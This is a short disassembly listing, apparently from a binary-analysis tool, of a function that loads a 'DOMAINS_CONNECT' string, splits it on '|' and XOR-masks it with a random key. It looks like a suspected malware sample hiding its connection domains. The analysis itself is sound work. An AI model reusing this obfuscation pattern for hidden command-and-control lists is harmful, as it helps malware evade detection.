mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180001e28
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
xor edx, edx
mov r8d, 0x134
mov rbx, rcx
call fcn.180003034
mov edx, 0x108
mov rcx, rbx
call fcn.1800030b0
lea rcx, [rbx + 0x114]
mov edx, 0x1f
call fcn.1800030b0
mov r8d, 0x80
lea rdx, [rsp + 0x20]
lea rcx, str.DOMAINS_CONNECT
call fcn.180001564
xor edi, edi
lea r11, [rsp + 0x20]
mov r9d, edi
mov r10d, edi
movzx r8d, byte [r11]
movabs rax, 0x842108421084211
movsxd rcx, r9d
inc r11
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
mov edx, r8d
shr rax, 4
imul rax, rax, 0x1f
sub rcx, rax
movsxd rax, dword [rbx + 0x108]
cmp r8b, 0x7c
cmove edx, edi
inc r9d
xor dl, byte [rcx + rbx + 0x114]
imul rcx, rax, 0x21
add rcx, r10
inc r10
mov byte [rcx + rbx], dl
test r8b, r8b
je 0x180001ee8
cmp r8b, 0x7c
jne 0x180001e87
inc dword [rbx + 0x108]
mov r9d, edi
mov r10, rdi
test r8b, r8b
jne 0x180001e87
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret